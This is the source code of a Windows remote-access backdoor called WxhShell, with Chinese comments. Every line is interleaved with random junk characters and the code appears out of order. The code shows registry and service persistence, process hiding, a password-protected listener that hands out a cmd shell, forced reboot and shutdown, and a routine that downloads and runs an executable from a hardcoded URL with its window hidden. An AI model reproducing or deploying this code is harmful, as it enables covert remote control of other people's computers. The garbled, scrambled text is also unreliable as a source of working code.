cwh(9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d|9]E&;, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c2fSpvz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B& R?{y* 67Qu<9}<- if (!NtQueryInformationProcess) return 0; MNb9 ~kM x$D^Bh, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9yWf*s< if(!hProcess) return 0; I,HtW ), .kMnq8u if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >VQLC&u( @)vQ>R\k< CloseHandle(hProcess); ~(huUW ~TeOl|!lE+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gA}<Y if(hProcess==NULL) return 0; -.ZP<,?@F :N"&o(^ HMODULE hMod; qu dY9_ char procName[255]; [@8 po-()L unsigned long cbNeeded; kWy@wPqms kv, !"< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M_.Jmh<&& (2M00J-o CloseHandle(hProcess); /c 7z[| +R HiX!PG if(strstr(procName,"services")) return 1; // 以服务启动 }4H}*P> + 0Q?%B6g$m[ return 0; // 注册表启动 ZH8 w^} } xpo^\E?2 ksuePMIK // 主模块 tcsb]/my int StartWxhshell(LPSTR lpCmdLine) @G=7A;-pv0 { Dq$1
j%4Y SOCKET wsl; ->.9[|lIg BOOL val=TRUE; q5-i=lw int port=0; EG$-D@o\I struct sockaddr_in door; (_>SuQK >/Q^.hzd if(wscfg.ws_autoins) Install(); aX6}:"R2C ; '
vkF port=atoi(lpCmdLine); 2nCc(F&+? XM*5I4V if(port<=0) port=wscfg.ws_port; vM5/KrW e@TwZ6l WSADATA data; "J2q|@. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S-Vj$asv! /F~/&p1<\k if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x9a\~XL>a setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i20y\V
os? door.sin_family = AF_INET; ,+6u6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); JJSE@$",\ door.sin_port = htons(port); B@i%B+qCLv Zl3e=sg= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .74C~{}$ closesocket(wsl); Pmd[2/][ return 1; xT*c## } <!UnH6J.b kh2TDxa& if(listen(wsl,2) == INVALID_SOCKET) { PsXCpyY!s closesocket(wsl); aGi`(|shW return 1; |m"Gr)Gm } j3/6hE> Wxhshell(wsl); REK):(i7P WSACleanup(); :DNI\TmhJ 2y;vX|lX] return 0; ~&qv[XS su1fsoL0 } Dv/7w[F h4|}BGO // 以NT服务方式启动 K[OOI~"C VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M|%bxG^l { U0:*?uA. DWORD status = 0; Ew|Z<( DWORD specificError = 0xfffffff; GWPBP-)0 bo\Ah/. serviceStatus.dwServiceType = SERVICE_WIN32; Q*PcO \Y!y serviceStatus.dwCurrentState = SERVICE_START_PENDING; -aok ]w
m serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6?KUS}nRS serviceStatus.dwWin32ExitCode = 0; zb!1o0, J serviceStatus.dwServiceSpecificExitCode = 0; j7gTVfO serviceStatus.dwCheckPoint = 0; >A-{/"p# serviceStatus.dwWaitHint = 0; un-%p# H{=G\N{ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d<Q%h?E if (hServiceStatusHandle==0) return; "B
(?|r% 3.BUWMD status = GetLastError(); 7]T(=gg / if (status!=NO_ERROR) ")i)vXF' { IjRUr \ l serviceStatus.dwCurrentState = SERVICE_STOPPED; WH1" HO serviceStatus.dwCheckPoint = 0; C5I7\9F) serviceStatus.dwWaitHint = 0; ,&S0/j serviceStatus.dwWin32ExitCode = status; ^tG,H@95 serviceStatus.dwServiceSpecificExitCode = specificError; `P !idg* SetServiceStatus(hServiceStatusHandle, &serviceStatus); i.)n#@M2 return; (Q%
@] } 5!qf{4j $o5i15Oy. serviceStatus.dwCurrentState = SERVICE_RUNNING;
l:UKU ! serviceStatus.dwCheckPoint = 0; 0{bl^#$f serviceStatus.dwWaitHint = 0; \ Voly if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0q-lyVZ^X } 7>O`UT<t4@ 8uLS7\,$z // 处理NT服务事件,比如:启动、停止 o)@nnqa VOID WINAPI NTServiceHandler(DWORD fdwControl) kG!hqj { xlwf @XW switch(fdwControl) T:{r*zLSN { }Cw,m0KV/ case SERVICE_CONTROL_STOP: f*Q9u >1p serviceStatus.dwWin32ExitCode = 0; i^.eX
VV/ serviceStatus.dwCurrentState = SERVICE_STOPPED; `Tyd1!~ serviceStatus.dwCheckPoint = 0; nTr]NBR serviceStatus.dwWaitHint = 0; M3@qhEf?vk { s<!G2~T SetServiceStatus(hServiceStatusHandle, &serviceStatus); w[gt9]}N } ;iKtv+" return; fv8x7l7 case SERVICE_CONTROL_PAUSE: @XzfuuE] serviceStatus.dwCurrentState = SERVICE_PAUSED; )/)u.$pi break; W#P\hx case SERVICE_CONTROL_CONTINUE: [ R+M .5 serviceStatus.dwCurrentState = SERVICE_RUNNING; {zm8` break; A"b31*_ case SERVICE_CONTROL_INTERROGATE: qQ3Q4R\ break; q/I( e }; ;2`6eyr SetServiceStatus(hServiceStatusHandle, &serviceStatus); h?SRX_ } fTy:Re l5H5!$3~ // 标准应用程序主函数 +)q ,4+K%} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z@Q*An { *,lDo9 ?|W3RK; // 获取操作系统版本 Bt@?l]Y OsIsNt=GetOsVer(); zc)nDyn GetModuleFileName(NULL,ExeFile,MAX_PATH); _p0Yhju? Evm3Sm!S // 从命令行安装 [=jZP,b&), if(strpbrk(lpCmdLine,"iI")) Install(); q%kCTw eu$VKLY* // 下载执行文件 9 CZ@IFS if(wscfg.ws_downexe) { _^GBfM. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MjC<N[WO>N WinExec(wscfg.ws_filenam,SW_HIDE); TCyev[( } o<!H/PN :h34mNU if(!OsIsNt) { v {HF}L // 如果时win9x,隐藏进程并且设置为注册表启动 CS~onf<xz HideProc(); =Vs?=|r StartWxhshell(lpCmdLine); PA,aYg0f } m-Jy
4f# else +yfUB8Xw if(StartFromService()) UG`~RO // 以服务方式启动 Y(7&3+'K StartServiceCtrlDispatcher(DispatchTable); @~ke=w6&pe else v%*don // 普通方式启动 ]`x+wWe StartWxhshell(lpCmdLine); q`2dL)E LZ_VLW9wE return 0; e7xv~C>g } (!{*@?S
p )JR5z |Sjy
!% W5@tN =========================================== F6yFKNK!n pIK:$eN!/ fG>3gS6& *Ts$Hj[ "QXnE^ kK4a;j.# " >Df;1:U ]m 3cm #include <stdio.h> hIqU idJod #include <string.h> N80ogio_Tk #include <windows.h> AA,/AKikd #include <winsock2.h> ZJ2
MbV.6 #include <winsvc.h> Het"x #include <urlmon.h> oA-,>:}g{ iKPgiL~ #pragma comment (lib, "Ws2_32.lib") m\jjj^f a #pragma comment (lib, "urlmon.lib") @uRJl$3 d5Ae67 #define MAX_USER 100 // 最大客户端连接数 G5U?]& I8 #define BUF_SOCK 200 // sock buffer ^ fC2o%3^ #define KEY_BUFF 255 // 输入 buffer w#A\(z%;x i,;eW&
#define REBOOT 0 // 重启 z-gMk@l #define SHUTDOWN 1 // 关机 d6tv4Cf \)uA:v #define DEF_PORT 5000 // 监听端口 2=K|kp5 sHBTB6)lx #define REG_LEN 16 // 注册表键长度 ghB&wOm/ #define SVC_LEN 80 // NT服务名长度 6ZHeAb]" 3^wHL:u // 从dll定义API !6X6_ +}M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P/ 6$TgQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v?]a tb/h` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [Y*>x2X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rjq\$aY}% Wu{_QuAB // wxhshell配置信息 7$%G3Q|)L struct WSCFG { $ dI
mA int ws_port; // 监听端口 &UnhYG{A char ws_passstr[REG_LEN]; // 口令 [5IbR9_ int ws_autoins; // 安装标记, 1=yes 0=no Co(N8>1 char ws_regname[REG_LEN]; // 注册表键名 Wm-$l char ws_svcname[REG_LEN]; // 服务名 %D#&RS char ws_svcdisp[SVC_LEN]; // 服务显示名 +i!HMyM char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gu$J;bXVj char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e6_8f*o|s int ws_downexe; // 下载执行标记, 1=yes 0=no pEcYfj3M char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2C:u)}R7D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r{r~!=u \`~YW<D }; ]3,9."^ {~9HJDcM // default Wxhshell configuration e{87n>+, struct WSCFG wscfg={DEF_PORT, n;:.UGl9. "xuhuanlingzhe", #lqH/>`> 1, deYv&=SPl "Wxhshell", /# Jvt "Wxhshell", 1-^D2B[- "WxhShell Service", gd#R7[AVi "Wrsky Windows CmdShell Service", +j F|8 "Please Input Your Password: ",
G-1qxK 1, .GJbrz "http://www.wrsky.com/wxhshell.exe", ly34aD/p~, "Wxhshell.exe" q
6UZ`9&z }; lbt8S.fx D1-w>Y# // 消息定义模块 pm=O.)g4` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $#n9C79Z@ char *msg_ws_prompt="\n\r? for help\n\r#>"; IxUj(l1Fm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9Cd/SlNV2 char *msg_ws_ext="\n\rExit."; BQWgL char *msg_ws_end="\n\rQuit."; KxKZC}4m char *msg_ws_boot="\n\rReboot..."; N{g7 char *msg_ws_poff="\n\rShutdown..."; ,m`&J? char *msg_ws_down="\n\rSave to "; \i,H1a GFPrK9T char *msg_ws_err="\n\rErr!"; q['D?)sy char *msg_ws_ok="\n\rOK!"; LvS5N)[ Ws3z-U>j char ExeFile[MAX_PATH]; W f"$ int nUser = 0; S) zw[m HANDLE handles[MAX_USER]; 9*FA=E int OsIsNt; (@*|[wN p<dw C"z SERVICE_STATUS serviceStatus; S[9b
I&C SERVICE_STATUS_HANDLE hServiceStatusHandle; -eK0 +beQ w{T$3F`@9 // 函数声明 "2C}Pr,p8 int Install(void); [g@qZ5I. int Uninstall(void); N
e{=KdzT int DownloadFile(char *sURL, SOCKET wsh); Gev\bQa int Boot(int flag); p#4*:rpq4 void HideProc(void); |=:@<0.' int GetOsVer(void); -a_qZ7 int Wxhshell(SOCKET wsl); }*9F `=%F void TalkWithClient(void *cs); PtUS7[] int CmdShell(SOCKET sock); a'Cny(( int StartFromService(void); $H3C/| int StartWxhshell(LPSTR lpCmdLine); dkEbP*yXg xzY/$? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y_[VhZ% VOID WINAPI NTServiceHandler( DWORD fdwControl ); ={cM6F}a@ CZ]Dm4 // 数据结构和表定义 mB0`>?#i SERVICE_TABLE_ENTRY DispatchTable[] = R&t2 { <75x@! {wscfg.ws_svcname, NTServiceMain}, uy"i3xD6- {NULL, NULL} 9:RV5Dt }; -tWxBGSa@ : I";&7C // 自我安装 mp sX4 int Install(void) 2l V`UIa { ,V]FAIJ char svExeFile[MAX_PATH]; z"7?I$NQ HKEY key; %2D'NZS strcpy(svExeFile,ExeFile);
K%%Ow 3`SH-"{j% // 如果是win9x系统,修改注册表设为自启动 %jj-\Gz! if(!OsIsNt) { )ZLj2H < if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *$VeR(QN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '.pGkXyQ RegCloseKey(key); ]5*H/8Ke7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -ys/I,}< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #gWok'ZcR RegCloseKey(key); rLD1Cpeb,w return 0; ={o4lFe3v( } {c?{M.R } ^|h_[> } 2.);OFk+ else { 7?k3jDK
W=S^t_F // 如果是NT以上系统,安装为系统服务 ^oC>,%7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qrOesSdc if (schSCManager!=0) j3w~2q"r { ~IO'"h'w SC_HANDLE schService = CreateService U%1M?vT/ ( $ta"Ug.z schSCManager, h-Ks:pcR wscfg.ws_svcname, 1n2Pr'|s wscfg.ws_svcdisp, Bf^K?:r"V SERVICE_ALL_ACCESS, ''9K(p6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Qnr0t@0 SERVICE_AUTO_START, G~&q
SERVICE_ERROR_NORMAL, c3fi<?0&| svExeFile, Tp~Qg{%Og NULL, Gl{2"!mt= NULL, &u"mFweS NULL, $@{d\@U NULL, 90JWU$K NULL )knK'H ( ); ${. :(z if (schService!=0) #>CWee; { rjfWty%6pX CloseServiceHandle(schService); mDwuJf8} CloseServiceHandle(schSCManager); 8EiS\$O- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P%[{ 'u strcat(svExeFile,wscfg.ws_svcname); U[yA`7Zs} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~QE?GL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {Ho _U&< RegCloseKey(key); x` wUi*G return 0; 7PfNPz<4+ } a&mL Dh/ } [UdJ(cGf CloseServiceHandle(schSCManager); k+@ :+RL } g:c?%J } 9ygNJX'~ /NPx9cLW^ return 1; ZW;Re5?DJ } M!VW/vdywL <dS I"C< // 自我卸载 ij?]fXf:)y int Uninstall(void) QRdtr { z:Ru` HKEY key; (i<\n`h1K ZLP0SCkuR if(!OsIsNt) { i-95>ff if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8*VQw?{Uee RegDeleteValue(key,wscfg.ws_regname); |t$%kpp RegCloseKey(key); 44^jE{,9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (S=CxK RegDeleteValue(key,wscfg.ws_regname); b83m'`vRM RegCloseKey(key); h}m9L!+n8 return 0; |U~\;m@
} &u2m6 r>W } r5lPO*?Df } Fkqw#s(T else { Aba%QQQ z+_d* \ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |F=.NY
if (schSCManager!=0) 0eA|Uq~ { Fv^>^txh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qssK0!- if (schService!=0) C1YH\X(r { ^m.%FIwR if(DeleteService(schService)!=0) { (r.y
CloseServiceHandle(schService); -ebyW# CloseServiceHandle(schSCManager); j3?@p5E( return 0; \$,;@H5I^ } k_OzkEM9! CloseServiceHandle(schService); K9RRY,JB } )DQcf]I CloseServiceHandle(schSCManager); (f"LD8MJ/ } H7 {kl } }mk z_P(Z (
~>-6Nb 5 return 1; /dR:\ffz2 } a8y*Jz-E i Hcy,PBD // 从指定url下载文件 5cr\ JR int DownloadFile(char *sURL, SOCKET wsh) 1R.6Xer { @zsqjm HRESULT hr; {I$zmVG char seps[]= "/"; ,G$<J0R1 char *token; %x^ U3"7 char *file; *M~BN}. char myURL[MAX_PATH]; ;T!ZO@1X char myFILE[MAX_PATH]; Z7MGBwP( sdQ"[`~2R strcpy(myURL,sURL); `qy@Qo token=strtok(myURL,seps); SQG9m2 while(token!=NULL) f Lns^ { UtB~joaR file=token; +4]f6Zz({ token=strtok(NULL,seps); ir;az{T#U } s<LYSr d (=Lx9-u GetCurrentDirectory(MAX_PATH,myFILE); 40;4= strcat(myFILE, "\\"); <q4<3A strcat(myFILE, file); EHq?yj; send(wsh,myFILE,strlen(myFILE),0); >\1j`/ :ZI send(wsh,"...",3,0); [Al}GM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ch&2{ng if(hr==S_OK) |198A,^ return 0; b5%T)hn= else Z~g7^,-t return 1; a7fn{VU8 _$gP-J } S1*xM @$|bMH*1: // 系统电源模块 p<(b^{EX int Boot(int flag) JjH141 n%D { &UX:KW`= HANDLE hToken; \2 `|eo TOKEN_PRIVILEGES tkp; gCI{g.[I! h}GzQry1 if(OsIsNt) { Up1e4mNL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;c# jO:A5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x?G"58 tkp.PrivilegeCount = 1; K|wB0TiXP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OGnuBK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Qf310oONS if(flag==REBOOT) { Y$eO:67; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lMb&F[KJ7 return 0; -=4:qQEw } f]kG%JEK else { \hqjk:o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bR83N return 0; *)qxrBc0 } \
UiITP< } iq`caoi else { 5}'W8gV? if(flag==REBOOT) { Nb/Z + if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~d=Y98'xS return 0; a`; nB E } ^[hx`Rh`t else { 03dmHg.E!E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &^K,"a{ return 0; p']oy;t } qbD[<T } IFW"SfdZk :sJQ r._L return 1; $36.*s m } P^m&oH5]EG _G^Cc}X // win9x进程隐藏模块 0hOps5c8= void HideProc(void) e6I7N?j { h9l 6AnbJ [|APMMYK1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \) g?mj^ if ( hKernel != NULL ) cFloaCz { /NFm6AA] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !,JV<(7k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HV8=b"D" FreeLibrary(hKernel); AP/#?
} PI$K+}E ~y8KQ-1n" return; R2f^dt^ } sH+ 90|? Ws:MbZyr // 获取操作系统版本 9 wP,Z" int GetOsVer(void) I*l y
7z { R
b=q
# OSVERSIONINFO winfo; k[]2S8K2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ix_&<?8 GetVersionEx(&winfo); ~qezr\$2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CjUYwAy$k return 1; Yp;?Zq9 else J42/S [Rt return 0; ^_G@a, } gE~LPwM ow K)]t // 客户端句柄模块 `-w;/A"MJ int Wxhshell(SOCKET wsl) CsiRM8 { tk!5"`9N SOCKET wsh; J)="Im) struct sockaddr_in client; ^.@F1k DWORD myID; kJ.0|l0 0K^?QM|S while(nUser<MAX_USER) K5}0!_)G { b VcA#7
uA int nSize=sizeof(client); ~Nn}FNe wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o!W( if(wsh==INVALID_SOCKET) return 1; E{{Kzr2$ i@#=Rxp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =&roL7ps if(handles[nUser]==0) t-)d*|2n}o closesocket(wsh); ygYy [IZ else "*ww>0[ nUser++; L4or*C^3 } 1SSS0 & WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j. mla p|Nh:4iN return 0; @k-iy-|3) }
aS, "43F.!P // 关闭 socket N%!{n7`N: void CloseIt(SOCKET wsh) w
L4P-4' { ;={3H_{3 closesocket(wsh); ].Xh=7&2{ nUser--; 1EA#c>I$ ExitThread(0); d VyT ` } 3U%kf<m= U}DLzn|w // 客户端请求句柄 W}M3z void TalkWithClient(void *cs) cr ~.],$Om { U[W &D%' dK>sHUu SOCKET wsh=(SOCKET)cs; LyRW\\z2 char pwd[SVC_LEN]; I*H($ a char cmd[KEY_BUFF]; QVo>Uit char chr[1]; 3a}53?$ int i,j; CI^s~M > >Et~h65d5 while (nUser < MAX_USER) { Q AX3*%h heQyz|o if(wscfg.ws_passstr) { PP8627uP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %F13*hOu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8T88 //ZeroMemory(pwd,KEY_BUFF); -lm)xpp1 i=0; hRZYvZ3 while(i<SVC_LEN) { 8~y&" \ ew<_2Xy"< // 设置超时 cc 0Tb fd_set FdRead; oqbhb1D1< struct timeval TimeOut; >35W{d FD_ZERO(&FdRead); H`1q8}m FD_SET(wsh,&FdRead); =:'\wx
X TimeOut.tv_sec=8; k{D0& TimeOut.tv_usec=0; vH/RP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w>\_d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WaSZw0U}y 06]"{2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); slAR<8 pwd=chr[0]; 5}Z>N,4 if(chr[0]==0xd || chr[0]==0xa) { fGoJP[ae pwd=0; wU|jw( break; ic}mru } L}rYh`bUP[ i++; 0X5b32 } F ESl#.} Uo;a$sR // 如果是非法用户,关闭 socket DMlr%)@{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OAf}\ } IZs&7 J vq)%t8q> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q7<=1r+ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JJ9R,
8n6 opTH6a while(1) { WjOP2CVv| $$i
Gs6az ZeroMemory(cmd,KEY_BUFF); 8*Ty`G&v vIf-TQw // 自动支持客户端 telnet标准 !,]2.:{0z j=0; c#TV2@ while(j<KEY_BUFF) { U9jdb9 | if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {.ypZ8JU cmd[j]=chr[0]; (__$YQ- if(chr[0]==0xa || chr[0]==0xd) { {vdY( cmd[j]=0; YdyTt5- break; WtO@Kf:3GH } d:"7Tw2v+ j++; yhrjML2K } HuR774f[ M4(57b[` // 下载文件 b[<L
l%K if(strstr(cmd,"http://")) { /B)2L]6p send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mfnfp{.) if(DownloadFile(cmd,wsh)) %+/Dv send(wsh,msg_ws_err,strlen(msg_ws_err),0); r+k&W else 'x5p ?m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *W;;L_V" } W]XM<# ^^ else { "!CVm{7[ `vz7}TY switch(cmd[0]) { g)=$zXWhP bg|dV // 帮助 5h |aX case '?': { ix$
^1( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >'4$g7o, break; B):ZX# } LcB+L]( // 安装 ^+~5\c* case 'i': { $0vWC#.A] if(Install()) Y% JE}) send(wsh,msg_ws_err,strlen(msg_ws_err),0); *6eJmbFG else fefy`J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JY@bD: break; vG7Mk8mIr } 1rs. // 卸载 :!hO9ho case 'r': { g
rCQ#3K*? if(Uninstall()) ~`="tzr: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;K~=? k else }zxf~41 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P&=YLL<W break; &*Xrh7K2e } d2d8,Vg // 显示 wxhshell 所在路径 &n6L;y- case 'p': { E0/>E char svExeFile[MAX_PATH]; #-PMREgO strcpy(svExeFile,"\n\r"); |?ZU8I^vW strcat(svExeFile,ExeFile); ycSGv4
) send(wsh,svExeFile,strlen(svExeFile),0); Ijap%l1I break; fj/L)i } @3$ I // 重启 JZ+6)R case 'b': { Vr Lp5?Bh send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zA}JVB if(Boot(REBOOT)) v*0J6< send(wsh,msg_ws_err,strlen(msg_ws_err),0); m5&Ht (I%n else { \F-n}Z closesocket(wsh); O2?yI8|Jn ExitThread(0); EZ:?
(|h } 8#g}ev@|u break; vq.o;q / } K C"&3 // 关机 ~(-1mB, case 'd': { v#d(Kj send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~JNE]mg if(Boot(SHUTDOWN)) MgJ5FRQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,X1M!' else { (X-(
WMsqQ closesocket(wsh); ]f?r@U'AS| ExitThread(0); 7)[2Ud8 } uF1 4; break; UJQTArf } I'^XEl? // 获取shell !.^x^OK%y case 's': { \y%"tJ~N{ CmdShell(wsh); he/rt# closesocket(wsh); G[]%1
_QCO ExitThread(0); %rJDpB{ break; <bo^u w } n#Dy
YVb // 退出 4M> pHz4 case 'x': { X lItg\R send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _>]/. w2= CloseIt(wsh); Z.!<YfA) break;
04&S.#+( } 2O@ON/ // 离开 I4+1P1z case 'q': { `?.6}*4@_A send(wsh,msg_ws_end,strlen(msg_ws_end),0); yUD@oOVC0 closesocket(wsh); YgjW%q WSACleanup(); 8{!|` b'f exit(1); H^5,]; break; lP)n$?u } 5+!yXkE^e } Pv,PS.,- } j>?nL~{
u{&=$[; // 提示信息 7P}l^WX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jk`Jv; } kjp~:Bg_( } 5de1r B| =liyd74%` return; /m;Bwu } A^+k A)8 -T1R}ew*t // shell模块句柄 l3BN,HNv+ int CmdShell(SOCKET sock) Rf8ZH { VyNF)$'T STARTUPINFO si; }Hg\
tj}i ZeroMemory(&si,sizeof(si)); f/Y7@y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R[6R)#o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r}e(MT:R' PROCESS_INFORMATION ProcessInfo; -6uLww=w4 char cmdline[]="cmd"; 9<y{:{i CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l l*g *zt3 return 0; +PWm=;tcC } :|S[i(' E$4H;SN \ // 自身启动模式 B8T5?bl int StartFromService(void) EXjR&"R { 5wh(Qdib typedef struct yx&}bu\ {
|oSt%lQ1 DWORD ExitStatus; A{B$$7% DWORD PebBaseAddress; e 2NF. DWORD AffinityMask; /6[vF)& DWORD BasePriority; ]AM*9! ULONG UniqueProcessId; ws,?ImA ULONG InheritedFromUniqueProcessId; i( +Uv tgs } PROCESS_BASIC_INFORMATION; 5uSg]2: *^7^g!=z2 PROCNTQSIP NtQueryInformationProcess; |}e"6e% uEr.LCAS static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R\n@q_!`X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PBW_9& |